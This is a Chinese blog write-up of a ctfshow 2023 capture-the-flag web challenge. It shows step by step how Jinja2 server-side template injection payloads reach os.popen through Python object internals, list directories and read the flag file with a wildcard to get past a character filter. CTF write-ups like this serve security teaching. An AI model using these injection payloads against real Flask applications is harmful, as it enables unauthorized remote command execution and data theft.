easy_ssti_ctfshow_2023愚人杯

最新推荐文章于 2025-04-13 15:44:04 发布

原创最新推荐文章于 2025-04-13 15:44:04 发布 · 507 阅读

4 ·

CC 4.0 BY-SA版权

文章标签：

#CTF #web安全 #flask

文章讲述了在一场CTF挑战中，通过服务器端请求注入（SSTI）技术，逐步获取os对象、popen函数权限，进而遍历文件目录并找到flag的过程。

https://ctf.show/challenges#easy_ssti-3969

2023愚人杯

0aaf80533d9943b02fa2989bdc5aa7e

有提示app.zip，访问

https://1f660587-5340-4b20-b929-c4549d9a5d4b.challenge.ctf.show/app.zip

得到压缩包，拿到一个py文件

aa7d335ec9c0084ccad97c9cc9dcf1a

可以看到参数名是name，对参数进行筛选，包含ge或者不包含f

访问

/hello/<name>

下面想办法找到一个function

payload

https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()}}

f74e0c282dbe737b541a2eaf0e1a185

其中<class 'os._wrap_close'>就是os对象类

这里可以自己写段代码找找os在第几位

ori_str = """这里面就放网页复制的，篇幅原因我不放进去"""
ori_list = ori_str.split(",")
for index, item in enumerate(ori_list):
    if "os._wrap_close" in item:
        print(index)

0eef9cc9051148d8bef87a0c31c5ebe

成功拿到os对象类

48edee4f0f78f0e1a9f0d52314e5061

如何拿到popen函数？

先获取对象的__init__属性，接着使用__globals__获取函数作用域下方法，里面则包含popen

https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']}}

下面就可以为所欲为了

https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

hello app.py app.zip templates

https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cd .. && ls').read()}}

# 先cd ..回到上级目录 再用ls读取


hello app bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var

发现flag了，读取flag文件，因为屏蔽了f，所有这里使用通配符

https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cd .. && cat *lag').read()}}